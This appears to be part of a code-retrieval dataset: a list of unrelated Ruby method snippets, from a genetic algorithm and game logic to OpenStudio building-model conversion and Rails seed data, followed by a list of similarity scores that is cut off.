"def generate\n # Refill the population with children from the mating pool\n @population.each_index do |i|\n partner_a = @mating_pool[rand(0...@mating_pool.size)]\n partner_b = @mating_pool[rand(0...@mating_pool.size)]\n child = partner_a.crossover(partner_b)\n child.mutate(@mutation_rate)\n @population[i] = child\n end\n @generations += 1\n end",
"def generate\n # Refill the population with children from the mating pool\n @population.each_index do |i|\n partner_a = @mating_pool[rand(0...@mating_pool.size)]\n partner_b = @mating_pool[rand(0...@mating_pool.size)]\n child = partner_a.crossover(partner_b)\n child.mutate(@mutation_rate)\n @population[i] = child\n end\n @generations += 1\n end",
"def generate\n raise NotImplementedError\n end",
"def generate\n raise NotImplementedError\n end",
"def generate\n gen_app\n handle_public_index\n gen_file(\"config/routes.rb\", \"routes\")\n @app.goals.values.each_with_index { |goal, i| gen_goal(goal, i) }\n gen_misc\n self\n end",
"def prox m\n\t\tif m.to_s == \"papel\"\n\t\t\t@p += 1\n\t\telsif m.to_s == \"piedra\"\n\t\t\t@r += 1\n\t\telsif m.to_s == \"tijeras\"\n\t\t\t@t += 1\n\t\telsif m.to_s == \"spock\"\n\t\t\t@s += 1\n\t\telsif m.to_s == \"lagarto\"\n\t\t\t@l += 1\n\t\telsif m.to_s == \"\"\n\t\t\t# no hacer nada\n\t\telse\n\t\t\traise \"Error.\"\n\t\tend\n\n\t\tmax = @p + @r + @t + @l + @s -1\n\t\tif max <= 0\n\t\t\tmax = 0\n\t\t\tn = 0\n\t\telse\n\n\t\t\t\n\t\t\tn = @random.rand(max)\n\t\tend\n\n\t\tputs \"EL NUM ES #{n}\"\n\n\t\tif (n >= 0 and n < @r) or (n == 0)\n\t\t\tmano = Piedra.new(\"piedra\")\n\t\telsif n >= @r and n < @r+@p \n\t\t\tmano = Papel.new(\"papel\")\n\t\telsif n >= @r+@p and n < @r+@p+@t\n\t\t\tmano = Tijeras.new(\"tijeras\")\n\t\telsif n >= @r+@p+@t and n < @r+@p+@t+@l\n\t\t\tmano = Lagarto.new(\"lagarto\")\n\t\telsif n >= @r+@p+@t+@l and n < @r+@p+@t+@l+@s\n\t\t\tmano = Spock.new(\"spock\")\n\t\tend\n\n\t\tmano\t\t\t\n\t\t\t\n\tend",
"def generate\n classes = registry.all(:class)\n classes.each do |c|\n data = methods(c)\n output(data, c.to_s)\n end\n end",
"def modeler_description\n return \"This is intended to run on an empty model. It will create the proper model associate it with the proper weather file, and add in necessary output requests. Internally to the measure the test case argument will be mapped to the proper inputs needed to assemble the model. The measure will make some objects on the fly, other objects will be pulled from existing data resources. This measure creates cases described all of section 5.3.\"\n end",
"def spawn_mob entity; end",
"def motions_collection\n motion_table_rows = select_table(COUNCIL_MOTIONS_TITLE, 2)\n\n motion_table_rows.map do |motion_row|\n motion_builder(motion_row)\n end\n end",
"def generate\n super\n end",
"def generate_tables\n create_characters\n create_kiosks\n create_traps\n create_buttons\n end",
"def create_movie(movie)\n# puts movie.inspect\n props=[:movie_id, :title,:tagline,:released].find_all{ |p| movie[p] }.collect { |p| \"#{p} : '#{clean(movie[p])}'\" }.join(', ')\n actors = movie[:actors].collect { |a| \"create unique movie<-[:ACTED_IN {role : '#{clean(a[:role])}'}]-({id : '#{a[:id]}', name: '#{a[:name]}'})-[:PERSON]->people \"}.join(\" \\n\") + \"\\n\"\n directors = movie[:directors].collect { |a| \"create unique movie<-[:DIRECTED]-({id : '#{a[:id]}', name: '#{a[:name]}'})-[:PERSON]->people \"}.join(\" \\n\") + \"\\n\"\n genres = movie[:genres].collect { |g| \"create unique movie-[:GENRE]->({genre : '#{g}'})-[:GENRE]->genres \"}.join(\" \\n\")\n \" start root=node(0) \n match\n root-[:GENRES]->genres, \n root-[:MOVIES]->movies, \n root-[:PEOPLE]->people \n create movie={#{props}} \n \" + genres + actors + directors + \";\"\nend",
"def crear_preguntas\n\texamen = []\n\t10.times do |n|\n\t\texamen << (n.odd? ? Faker::HitchhikersGuideToTheGalaxy.marvin_quote :\tFaker::ChuckNorris.fact)\n\tend\n\texamen.join(' ')\nend",
"def motor\n\t\tbase = outline.linear_extrude(height:(@motor_height/6)*4,center:true).color(\"DimGray\")\n\n\t\tbase+= outline.linear_extrude(height:(@motor_height/6),center:true).translate(z:(@motor_height/1.5+@motor_height/6-0.1)/2).color(\"LightGrey\") \t\t\n\t\tbase+= outline.linear_extrude(height:(@motor_height/6),center:true).translate(z:-(@motor_height/1.5+@motor_height/6-0.1)/2).color(\"LightGrey\") \t\t\n\t\t\n\t\tflange=cylinder(d:@motor_flange_dia,h:@motor_flange_height,center:true).translate(z:(@motor_height+@motor_flange_height-0.01)/2).color(\"LightGrey\")\n\t\t\t\t\n\t\tshaft = cylinder(d:@motor_shaft_OD,h:@motor_shaft_height,center:true).translate(z:(@motor_shaft_height+@motor_height+@motor_flange_height)/2).color(\"WhiteSmoke\")\n\n\t\t# screw holes\n\t\t[-1,1].each do |i|\t\n\t\t\t[-1,1].each do |f|\t\n\t\t\t\tbase-= cylinder(d:@motor_mounting_hole_diam,h:@motor_height+1,center:true).translate(x:i*@motor_mounting_hole_distance/2,y:f*@motor_mounting_hole_distance/2,z:@motor_height-8).color(\"DimGray\")\n\t\t\tend\n\t\tend\n\n\n\t\tmotor = base+flange+shaft\n\t\t# move motor that z is 0\n\t\tmotor.translate(z:@motor_height/2)\t\t\n\tend",
"def get_mos_models done_cells=[]\n models = {}\n return [done_cells, models] if done_cells.include?(self) || get_schematic_view(self).blank?\n inst_name = value = value2 = nil\n# puts \"** Schematic view for: '#{self.name}'\"\n get_schematic_view(self).each_line{|l|\n# puts l\n if l =~ /SYMATTR +InstName +(\\S+)/\n inst_name = $1\n elsif l =~ /SYMATTR +Value +(\\S+)/\n value = $1\n elsif l =~ /SYMATTR +Value2 +(.*)/\n value2 = $1\n elsif l =~ /SYMBOL +(\\S+) +(\\S+) +(\\S+) +(\\S+)/\n models = get_model_properties models, inst_name, value, value2 \n value = value2 = nil\n end\n }\n models = get_model_properties models, inst_name, value, value2 \n done_cells << self\n\n props = ((YAML.load(self.properties||'')||{})['cells'])||{}\n props.each_pair{|c, lib|\n library = self.project.libraries.find_by_name lib\n next if library.nil? # special case\n cell = library.find_or_new_cell c\n done_cells, m = cell.get_mos_models done_cells\n puts \"mos_models for #{cell.name} = #{m.inspect}\"\n models.merge! m\n }\n models.each_value{|v| v.uniq!}\n [done_cells, models]\n end",
"def make_and_model\n m = make\n\n \"#{m} #{model(make_of_model: m)}\"\n end",
"def initial_generate\n \n end",
"def make_and_model\n\tfor i in [email protected]\n\t\tputs \"#{i}. #{@manufacturers[i]}: #{@models[i]}\"\n\t\ti += 1\n\tend\nend",
"def random_mons_print(num)\n mons = Monster.all.sample(num)\n string_array = []\n mons.each{|monster|\n string_array << 'Name: '.green + \"#{monster.name.capitalize} \" + \"Type: \".green + \"#{monster.monster_type.capitalize} \" + \"Challenge Rating: \".green + \"#{monster.challenge_rating} \" + \"Alignment: \".green + \"#{monster.alignment.capitalize}\"\n }\n puts_with_delay(string_array, 0.3)\n end",
"def gen_goal(goal, index = 0)\n gen_file(\"db/migrate/#{ Time.now.strftime(\"%Y%m%d%H%M%S\").to_i + index }_create_#{goal.p}.rb\", \"migration\", goal)\n\n # TODO: make a thing that returns the innards of the class, preferably organized into\n # validations, associations, requires/acts_as clauses, class, instance, and private methods.\n # also add something that tells a goal not to generate any combo of model/view/controller.\n gen_file(\"/app/models/#{goal.s}.rb\", \"model\", goal)\n gen_file(\"/app/controllers/#{goal.p}_controller.rb\", \"controller\", goal)\n gen_view(goal)\n gen_tests(goal)\n end",
"def imei\n generate_imei\n end",
"def make; end",
"def generate()\n\t\t# first generate at least one star\n\t\t\n\t\tcx = centerX\n\t\tcy = centerY\n\t\tstarPos = randomLocation(cx, cy, SolarSystemRadius)\n\t\tstar = generateNewCelestialBody(starPos[0], starPos[1], 'star')\n\t\t\n\t\t# possibly another star\n\t\tif rand < ProbabilitySecondStar\n\t\t\tstarPos2 = randomDistantPosition\n\t\t\tstar2 = generateNewCelestialBody(starPos2[0], starPos2[1], 'star')\n\t\tend\n\t\t\n\t\tnumPlanets = Random.rand(MedianNumPlanets-NumPlanetsVariation...MedianNumPlanets+NumPlanetsVariation)\n\t\tnumPlanets.times do\n\t\t\tplanetPos = randomDistantPosition\n\t\t\tplanet = generateNewCelestialBody(planetPos[0], planetPos[1], 'planet')\n\t\tend\n\tend",
"def index\n @mayors = Mayor.all\n end",
"def creation #wizard will be able to create objects, his proficiency is based on the skill level he has in this type of magic\r\n \r\n end",
"def make_and_model; end",
"def gen_star(package_map)\n text = \"//#{package_map[\"name\"]}\nvar #{package_map[\"indexed_name\"]} = new Celestial({\n name: \\\"#{package_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{package_map[\"radius\"]+0.01}, 12, 12),\n material: new THREE.MeshBasicMaterial({color: 0xffdd22, map: star_texture}),\n light: new THREE.PointLight( 0xffddbb, 1, 0 ),\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01});\ncelestials[celestials.length] = #{package_map[\"indexed_name\"]};\\n\\n\"\n return text\nend",
"def create_openstudio_model_new(runner = nil)\n beginning_time = Time.now\n\n end_time = Time.now\n BTAP::runner_register(\"Info\", \"Time elapsed #{(end_time - beginning_time)*1000} milliseconds\",runner)\n model = OpenStudio::Model::Model.new()\n #add All Materials\n # find_all_commands( \"Materials\" ).each do |doe_material|\n # end\n #\n # find_all_commands( \"Constructions\" ).each do |doe_cons|\n # end\n\n #this block will create OS story objects in the OS model. \n BTAP::runner_register(\"Info\", \"Exporting DOE FLOORS to OS\",runner)\n find_all_commands(\"FLOOR\").each do |doe_floor|\n doe_floor.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getBuildingStorys(model).size.to_s + \" floors created\",runner)\n\n #this block will create OS space objects in the OS model. \n BTAP::runner_register(\"Info\", \"Exporting DOE SPACES to OS\",runner)\n find_all_commands(\"SPACE\").each do |doe_space|\n doe_space.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSpaces(model).size.to_s + \" spaces created\",runner)\n \n #this block will create OS space objects in the OS model. \n BTAP::runner_register(\"Info\", \"Exporting DOE ZONES to OS\",runner)\n find_all_commands(\"ZONE\").each do |doe_zone|\n doe_zone.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getThermalZones(model).size.to_s + \" zones created\",runner)\n \n #this block will create OS surface objects in the OS model.\n BTAP::runner_register(\"Info\", \"Exporting DOE Surfaces to OS\",runner)\n get_all_surfaces().each do |doe_surface|\n doe_surface.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSurfaces(model).size.to_s + \" surfaces created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSubSurfaces(model).size.to_s + \" sub_surfaces created\",runner)\n BTAP::runner_register(\"Info\", \"Setting Boundary Conditions for surfaces\",runner)\n BTAP::Geometry::match_surfaces(model)\n \n x_scale = y_scale = z_scale = 0.3048\n BTAP::runner_register(\"Info\", \"scaling model from feet to meters\",runner)\n model.getPlanarSurfaces.each do |surface|\n new_vertices = OpenStudio::Point3dVector.new\n surface.vertices.each do |vertex|\n new_vertices << OpenStudio::Point3d.new(vertex.x * x_scale, vertex.y * y_scale, vertex.z * z_scale)\n end \n surface.setVertices(new_vertices)\n end\n \n model.getPlanarSurfaceGroups.each do |surface_group|\n transformation = surface_group.transformation\n translation = transformation.translation\n euler_angles = transformation.eulerAngles\n new_translation = OpenStudio::Vector3d.new(translation.x * x_scale, translation.y * y_scale, translation.z * z_scale)\n #TODO these might be in the wrong order\n new_transformation = OpenStudio::createRotation(euler_angles) * OpenStudio::createTranslation(new_translation) \n surface_group.setTransformation(new_transformation)\n end\n BTAP::runner_register(\"Info\", \"DOE2.2 -> OS Geometry Conversion Complete\",runner)\n BTAP::runner_register(\"Info\", \"Summary of Conversion\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getBuildingStorys(model).size.to_s + \" floors created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSpaces(model).size.to_s + \" spaces created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getThermalZones(model).size.to_s + \" thermal zones created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSurfaces(model).size.to_s + \" surfaces created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSubSurfaces(model).size.to_s + \" sub_surfaces created\",runner)\n BTAP::runner_register(\"Info\", \"No Contruction were converted.\",runner)\n BTAP::runner_register(\"Info\", \"No Materials were converted\",runner)\n BTAP::runner_register(\"Info\", \"No HVAC components were converted\",runner)\n BTAP::runner_register(\"Info\", \"No Environment or Simulation setting were converted.\",runner)\n\n end_time = Time.now\n BTAP::runner_register(\"Info\", \"Time elapsed #{(end_time - beginning_time)} seconds\",runner)\n return model\n end",
"def prox()\n # Como sigue una distribucion uniforme entonces \n # cada uno de los movimientos tendra la misma\n # probabilidad. Esto se traduce en conseguir un\n # numero random entre 0 y el numero de estrategias\n # menos 1 \n posicion_jugada = $r.rand(0..(@estrategias.length - 1))\n jugada_seleccionada = @estrategias[posicion_jugada]\n jugada_seleccionada = jugada_seleccionada.to_s\n @mano = Jugada.new(jugada_seleccionada)\n return @mano \n end",
"def meow()\n punctuations = '.!?'\n \"#{CAT_FACES[rand(CAT_FACES.length)]} Meow#{punctuations[rand(punctuations.length)]}\"\n end",
"def prox() # :nodoc:\n numero_aleatorio = $r.rand(1..@rango)\n jugada_seleccionada = seleccion_jugada(numero_aleatorio)\n jugada_seleccionada = jugada_seleccionada.to_s\n @mano = Jugada.new(jugada_seleccionada)\n return @mano\n end",
"def basic_generate_all\r\n puts \"This is IMDb's Top 100 Movie List.\"\r\n scraper = TopOneHundred::Scraper.new\r\n all_movies = scraper.initialize_all_movies\r\n all_movies.each{|movie| movie.print_details}\r\n all_movies\r\n end",
"def build_mod_files!\n apply_simple_terrain_map_mod!\n create_mod_descriptor!(\n name: \"A Simple Terrain Map Mode for Kaiserreich\",\n path: \"mod/#{mod_name}\",\n supported_version: \"1.6.*\",\n picture: \"a_simple_terrain_map_mode_kr.png\",\n )\n end",
"def generate\n carve maze.cell_at(0,0)\n maze\n end",
"def create\n @moon = Moon.new(moon_params)\n\n respond_to do |format|\n if @moon.save\n format.html { redirect_to @moon, notice: 'Moon was successfully created.' }\n format.json { render :show, status: :created, location: @moon }\n else\n format.html { render :new }\n format.json { render json: @moon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_data\n\t\tgenerate_stations\n\t\tgenerate_demands\n\tend",
"def cria_partida_demo\n \n partida = self.partidas.new(descricao:\"Partida Demo\", tipo: 0, dia_semana: 0)\n partida.save\n\n 14.times do |i|\n partida.jogadors.create(\n nome: \"Jogador #{i}\",\n habilidade: rand(1..5),\n )\n end\n\n end",
"def basic_generate_all\r\n puts \"This is IMDb's Top 100 Scary Movie List....this could take a few minutes\"\r\n scraper = TopOneHundred::Scraper.new\r\n all_movies = scraper.initialize_all_movies\r\n all_movies.each{|movie| movie.print_details}\r\n all_movies\r\n end",
"def new_moon?\n pom == NEW_MOON\n end",
"def creature; end",
"def creature; end",
"def creature; end",
"def creature; end",
"def start_generation\n Nanite.request(\"/nanny/generate\", self.id)\n end",
"def robot_details_generator\n @robot.robot_name = Faker::Name.first_name\n quote = HTTParty.get('http://quotesondesign.com/wp-json/posts?filter[orderby]=rand&filter[posts_per_page]=10')\n @quote = quote[0]['content']\n offset = rand(Suburb.count)\n Suburb.all.where(:id => offset).each do |suburb|\n @robot.suburb = suburb.suburb_name\n @robot.postcode = suburb.postcode\n @robot.state = suburb.state\n @robot.latitude = suburb.latitude\n @robot.longitude = suburb.longitude\n @robot.quote = @quote\n end\n end",
"def make_monsters\n DATA[:monsters].each do |monster|\n new_monster = Monster.new\n monster.each_with_index do |attribute, i|\n new_monster.send(DATA[:monster_keys][i]+\"=\", attribute)\n end\n new_monster.save \n end\nend",
"def mob; end",
"def random_mason\n \tMason.create!(first_name: Faker::Name.first_name, last_name: Faker::Name.last_name, \n\t\t\temail_address: Faker::Internet.email, phone_number: Faker::PhoneNumber.cell_phone,\n\t\t\tmembership_number: Faker::String.unique.random(6))\n end",
"def to_m name\n @resources = generate_objective_c_classes\n #TODO below 'header' must change\n header = (File.basename name, \".*\") + \".h\"\n m_template.result binding\n end",
"def create_generations\n @generations.each do |g|\n create_generation(g) unless Generation.find_by(name: g['name'])\n end\n end",
"def monsterMaker\n\tname = Rules.userInput(\"What is the Monster's name?\\n==>\").unCamelize\n\thp = Rules.userInput(\"What is the Monster's hp?\\n==>\").to_i\n\tatk1 = Rules.userInput(\"What is the Monster's first attack?\\n==>\").unCamelize\n\tdam1 = Rules.userInput(\"How much damage does that attack do?\\n==>\").to_i\n\tatk2 = Rules.userInput(\"What is the Monster's second attack?\\n==>\").unCamelize\n\tdam2 = Rules.userInput(\"How much damage does that attack do?\\n==>\").to_i\n\tloot = Rules.userInput(\"What is the Monster's loot?\\n==>\").unCamelize\n\n\tnewMonster = {name => {\n\t\t\t\t\t\"type\" => \"name\"\n\t\t\t\t \"hp\" => hp,\n\t\t\t\t \"attacks\" => {\n\t\t\t\t atk1 => dam1,\n\t\t\t\t atk2 => dam2\n\t\t\t\t },\n\t\t\t\t \"loot\" => loot\n\t\t\t\t }}\n\n\tjson = File.read(\"gameData/monsterManual.json\")\n\n\tFile.open(\"gameData/monsterManual.json\", \"w\") do |f| \n\t\tf.puts JSON.pretty_generate(JSON.parse(json).merge!(newMonster)) \n\tend\nend",
"def generate_constructions\n # TODO? delete and re-create or check that it exists and update?\n # self.construct_assemblies.destroy_all\n # self.materials.destroy_all\n # self.fenestration_constructions.destroy_all\n # self.door_construction.destroy_all\n\n # model names\n constructions = %w(UndergroundWall UndergroundFloor InteriorWall InteriorFloor ExteriorWall ExteriorFloor Roof)\n fenestrations = %w(Window Skylight)\n doors = ['Door']\n space_ids = []\n\n # get all building -> stories -> spaces (that's what constructions are attached to)\n stories = building.building_stories\n spaces = []\n stories.each do |story|\n story.spaces.each do |space|\n spaces << space\n end\n end\n space_ids = spaces.collect(&:id)\n logger.debug(\"*****SPACES: #{space_ids.inspect} *****\")\n\n project_cas = []\n project_mats = []\n project_fens = []\n project_doors = []\n\n # to find doors, windows, skylights\n int_wall_ids = []\n ext_wall_ids = []\n roof_ids = []\n\n # assign regular constructions\n constructions.each do |con|\n con_model = con.constantize\n instances = con_model.any_in(space_id: space_ids)\n\n if con === 'InteriorWall'\n int_wall_ids = instances.collect(&:id)\n elsif con === 'ExteriorWall'\n ext_wall_ids = instances.collect(&:id)\n elsif con === 'Roof'\n roof_ids = instances.collect(&:id)\n end\n\n # puts \"#{instances.size} instances of #{con}\"\n # logger.info \"#{instances.size} instances of #{con}\"\n\n instances.each do |instance|\n # get lib record\n unless instance.construction_library_id.nil?\n lib = Construction.find(instance.construction_library_id)\n\n # TODO: check that it doesn't exist yet or skip?\n ca = construct_assemblies.find_or_create_by(name: lib.name)\n ca.compatible_surface_type = lib.compatible_surface_type\n # save other attributes here (for floors)\n ca.slab_type = lib.slab_type\n ca.slab_insulation_orientation = lib.slab_insulation_orientation\n ca.slab_insulation_thermal_resistance = lib.slab_insulation_thermal_resistance\n\n material_refs = []\n # material references\n logger.debug(\"!!!!! LAYERS: #{lib['layers']}\")\n unless lib['layers'].nil?\n lib.layers.each do |layer|\n mat = materials.find_or_create_by(name: layer['name'])\n mat.code_category = layer['code_category']\n mat.code_item = layer['code_item']\n # save framing_configuration and material (required)\n mat.framing_depth = layer['framing_depth']\n mat.framing_configuration = layer['framing_configuration']\n mat.framing_material = layer['framing_material']\n mat.framing_material = layer['framing_material']\n mat.cavity_insulation = layer['cavity_insulation_r_value']\n\n mat.save\n material_refs << mat.name\n # only save unique records to project\n match = project_mats.find { |m| m['name'] === mat.name }\n logger.info(\"MATCH: #{match}, for material #{mat.name}\")\n project_mats << mat if match.nil?\n end\n end\n\n # save material references to construction assembly\n ca.material_reference = material_refs\n ca.save\n # only save unique records to project\n match = project_cas.find { |m| m['name'] === ca.name }\n # puts \"MATCH: #{match} for ca #{ca.name}\"\n logger.info \"MATCH: #{match} for ca #{ca.name}\"\n project_cas << ca if match.nil?\n\n # save construction assembly reference on original instance (in construct_assembly_reference field, use name)\n instance.construct_assembly_reference = ca.name\n instance.save\n end\n end\n end\n\n\n logger.info \"Exterior Wall ids are #{ext_wall_ids}\"\n\n # assign doors\n door_instances = Door.or({:interior_wall_id.in => int_wall_ids}, {:exterior_wall_id.in => ext_wall_ids})\n\n logger.info(\"Door instances: #{door_instances.size}\")\n door_instances.each do |instance|\n # get lib record\n unless instance.construction_library_id.nil?\n lib = DoorLookup.find(instance.construction_library_id)\n dc = door_constructions.find_or_create_by(name: lib.name)\n # add other lib fields\n lib.attributes.each_pair do |key, value|\n unless %(created_at updated_at id _id).include? key\n dc[key] = value\n end\n end\n dc.save\n\n # only save unique records to project\n match = project_doors.find { |m| m['name'] === dc.name }\n logger.info(\"MATCH: #{match} for door construction #{dc.name}\")\n project_doors << dc if match.nil?\n\n # save construction assembly reference on original instance (in construct_assembly_reference field, use name)\n instance.door_construction_reference = dc.name\n instance.save\n end\n end\n\n # assign fenestrations\n fenestrations.each do |fen|\n fen_model = fen.constantize\n if fen === 'Window'\n instances = fen_model.any_in(exterior_wall_id: ext_wall_ids)\n else\n # skylight\n instances = fen_model.any_in(roof_id: roof_ids)\n end\n # puts \"#{instances.size} instances of #{fen}\"\n # logger.info(\"#{instances.size} instances of #{fen}\")\n\n instances.each do |instance|\n # get lib record\n unless instance.construction_library_id.nil?\n lib = Fenestration.find(instance.construction_library_id)\n # TODO: check that it doesn't exist yet or skip?\n fc = fenestration_constructions.find_or_create_by(name: lib.name)\n # save all lib attributes to construction instance\n lib.attributes.each_pair do |key, value|\n unless %(created_at updated_at id _id).include? key\n fc[key] = value\n end\n end\n fc.save\n\n # only save unique records to project\n match = project_fens.find { |m| m['name'] === fc.name }\n logger.info(\"MATCH: #{match} for fen construction #{fc.name}\")\n project_fens << fc if match.nil?\n\n # save construction assembly reference on original instance (in construct_assembly_reference field, use name)\n instance.fenestration_construction_reference = fc.name\n instance.save\n end\n end\n end\n\n # save all to project\n self.door_constructions = project_doors\n self.fenestration_constructions = project_fens\n self.construct_assemblies = project_cas\n self.materials = project_mats\n self.save!\n end",
"def create_random_Ant\n\n myAnt = Ant.new\n\n myAnt.x = @x\n myAnt.y = @y\n myAnt.anthill = self\n rand_number = rand(3)\n if rand_number == 0\n myAnt = create_Forager(myAnt)\n elsif rand_number == 1\n myAnt = create_Builder(myAnt)\n else\n myAnt = create_Warrior(myAnt)\n \n end\n\n Meadow.instance.add_AntToCell(myAnt, @x, @y)\n @food -= 1 \n end",
"def modeler_description\n return 'This measure receives the fan motor level from the user. Then it looks for refrigerated walk-ins; it loops through them; it checks the current fan power of each walk-in and it substitutes it with the level chosen by the user.'\n end",
"def build_marines\n \n puts \"Would you like to build a new Marine?\"\n build_check = gets.chomp\n marines = []\n until build_check == \"no\"\n marine_builder(marines)\n puts \"Would you like to build a new Marine?\"\n build_check = gets.chomp \n end\n marines.each do |i|\n puts \"***********\" \n puts \"MARINE: #{i.name}\"\n puts \"AGE : #{i.age}\"\n puts \"MOS: #{i.mos}\"\n puts \"LATEST PFT: #{i.pft}\"\n puts \"HEIGHT: #{i.height}\"\n puts \"WEIGHT: #{i.weight}\"\n puts \"FITNESS REQUIREMENTS: #{i.weight_check} #{i.pft_score}\"\n puts \"NEXT! *#{i.march}*\"\n puts \"***********\"\n puts\n end\nend",
"def generate\n # sort steps by either ascending or descending times\n order = @order == :asc ? 1 : -1\n sorted = @names_and_time_ms.sort_by { |(_, time_ms)| time_ms * order }\n\n # convert times from milliseconds into seconds and add to collection\n sorted.map! { |(name, time_ms)| [name, time_ms, time_ms / 1000.0] }\n\n # for calculating widths of name and time columns\n longest_name = sorted.map { |(name, _, _)| name.length }.max\n longest_time = sorted.map { |(_, _, time_s)| time_s.to_s.length }.max\n\n # output line for each name\n sorted.reduce(\"\") do |result, (name, time_ms, time_s)|\n name_column = \"#{name}:\".rjust(longest_name + 1)\n time_column = \"(#{time_s}s)\".ljust(longest_time + 3)\n bar_column = \"#\" * (time_ms / @scale.to_f).ceil\n result + [name_column, time_column, bar_column].join(\" \") + \"\\n\"\n end\n end",
"def m2\n puts \"metodo 2\"\n end",
"def generate\n map(&:generate)\n end",
"def initializePesos\r\n \[email protected] do\r\n\t patron = @patrones[rand(@patrones.count-1)]\r\n @neuronas << {:class=>rand(@cantClases), :pesos => initPesos}\r\n\tend\r\n end",
"def outputs\n constructions = [\n 'floor_fin_ins_unfin_attic', # unfinished attic floor\n 'floor_fin_ins_unfin', # interzonal or cantilevered floor\n 'floor_fin_unins_fin', # floor between 1st/2nd story living spaces\n 'floor_unfin_unins_unfin', # floor between garage and attic\n 'floor_fnd_grnd_fin_b', # finished basement floor\n 'floor_fnd_grnd_unfin_b', # unfinished basement floor\n 'floor_fnd_grnd_fin_slab', # finished slab\n 'floor_fnd_grnd_unfin_slab', # garage slab\n 'floor_unfin_b_ins_fin', # unfinished basement ceiling\n 'floor_cs_ins_fin', # crawlspace ceiling\n 'floor_pb_ins_fin', # pier beam ceiling\n 'floor_fnd_grnd_cs', # crawlspace floor\n 'roof_unfin_unins_ext', # garage roof\n 'roof_unfin_ins_ext', # unfinished attic roof\n 'roof_fin_ins_ext', # finished attic roof\n 'wall_ext_ins_fin', # living exterior wall\n 'wall_ext_ins_unfin', # attic gable wall under insulated roof\n 'wall_ext_unins_unfin', # garage exterior wall or attic gable wall under uninsulated roof\n 'wall_fnd_grnd_fin_b', # finished basement wall\n 'wall_fnd_grnd_unfin_b', # unfinished basement wall\n 'wall_fnd_grnd_cs', # crawlspace wall\n 'wall_int_fin_ins_unfin', # interzonal wall\n 'wall_int_fin_unins_fin', # wall between two finished spaces\n 'wall_int_unfin_unins_unfin', # wall between two unfinished spaces\n 'living_space_footing_construction', # living space footing construction\n 'garage_space_footing_construction', # garage space footing construction\n # \"window_construction\", # exterior window\n 'door', # exterior door\n 'res_furniture_construction_living_space', # furniture in living\n 'res_furniture_construction_living_space_story_2', # furniture in living, second floor\n 'res_furniture_construction_unfinished_basement_space', # furniture in unfinished basement\n 'res_furniture_construction_finished_basement_space', # furniture in finished basement\n 'res_furniture_construction_garage_space', # furniture in garage\n 'living_zone', # living space air\n 'garage_zone', # garage space air\n 'unfinished_basement_zone', # unfinished basement space air\n 'finished_basement_zone', # finished basement space air\n 'crawl_zone', # crawl space air\n 'unfinished_attic_zone' # unfinished attic space air\n ]\n\n result = OpenStudio::Measure::OSOutputVector.new\n metrics.each do |metric|\n constructions.each do |construction|\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput(\"#{metric}_#{construction}\")\n end\n end\n return result\n end",
"def meal_generator(food)\n food\nend",
"def create_extra_magnets\n num_tokens = @tokens.size\n prev_i = -1\n i = @tokens.nextTokenOnChannel(0, 2)\n while i < num_tokens - 1 && prev_i != i do\n t = @tokens.get(i)\n d = strip_directive t\n if d.command == \"EXTRAMAG\"\n m = Magnet.new\n m.contents << Magnet::Text.new(d.arg)\n @statementMagnets << m\n end\n\n prev_i = i\n i = @tokens.nextTokenOnChannel(prev_i + 1, 2)\n end\n end",
"def generate!\n generator.invoke_all\n end",
"def generates_path\n return File.join(\"./medias\", self.created_at.year.to_s,\n self.created_at.month.to_s, self.file_name)\n end",
"def generate_story_themes(themes, story)\n if themes\n themes.each do |theme|\n theme_obj = generate_theme(theme)\n story_theme = Storytheme.new()\n story_theme.story = story\n story_theme.theme = theme_obj\n story_theme.save\n end\n end\nend",
"def description()\n return \"#{@name} is a #{@color} colored planet, it has #{@moon_count} moons, and it's #{@distance_from_the_sun} from the Sun. It is #{@robots} that there are robots there, and it is #{@cats} that there are cats there.\"\n end",
"def generate_new_report\n log_info('MI Report generation started...')\n content = CSV.generate do |csv|\n csv << headers\n claims.find_each do |claim|\n ManagementInformationPresenter.new(claim, 'view').present! do |claim_journeys|\n claim_journeys.each { |journey| csv << journey } if claim_journeys.any?\n end\n end\n end\n log_info('MI Report generation finished')\n content\n rescue StandardError => e\n log_error(e, 'MI Report generation error')\n end"
] |
[
"0.6523202",
"0.58156735",
"0.5745642",
"0.5745642",
"0.5713735",
"0.5697822",
"0.5696794",
"0.56255156",
"0.56021345",
"0.5511387",
"0.55059963",
"0.5415515",
"0.54002786",
"0.53849214",
"0.53741956",
"0.5370293",
"0.53599346",
"0.5359152",
"0.53463626",
"0.5345293",
"0.5282532",
"0.5249668",
"0.52310604",
"0.5230327",
"0.52190876",
"0.52071",
"0.5203991",
"0.5203991",
"0.51880777",
"0.51858026",
"0.5183592",
"0.51791674",
"0.5176688",
"0.5176688",
"0.5174938",
"0.5174087",
"0.5152002",
"0.5143058",
"0.51381326",
"0.5136281",
"0.5135114",
"0.5132408",
"0.5124792",
"0.5124755",
"0.51238453",
"0.5119503",
"0.51100326",
"0.5091966",
"0.5073021",
"0.5062648",
"0.50611246",
"0.50593776",
"0.5056638",
"0.50552094",
"0.5047723",
"0.50459385",
"0.5015689",
"0.5005391",
"0.5004226",
"0.50040925",
"0.49963745",
"0.49937028",
"0.496777",
"0.4966302",
"0.4963241",
"0.49606624",
"0.49552596",
"0.494728",
"0.49456862",
"0.49423447",
"0.49420896",
"0.49408793",
"0.49405873",
"0.49405873",
"0.49405873",
"0.49405873",
"0.49328116",
"0.49309126",
"0.49283087",
"0.49264008",
"0.49202174",
"0.49190632",
"0.49155036",
"0.49134216",
"0.49077109",
"0.49023014",
"0.4899338",
"0.48903194",
"0.48876083",
"0.48852974",
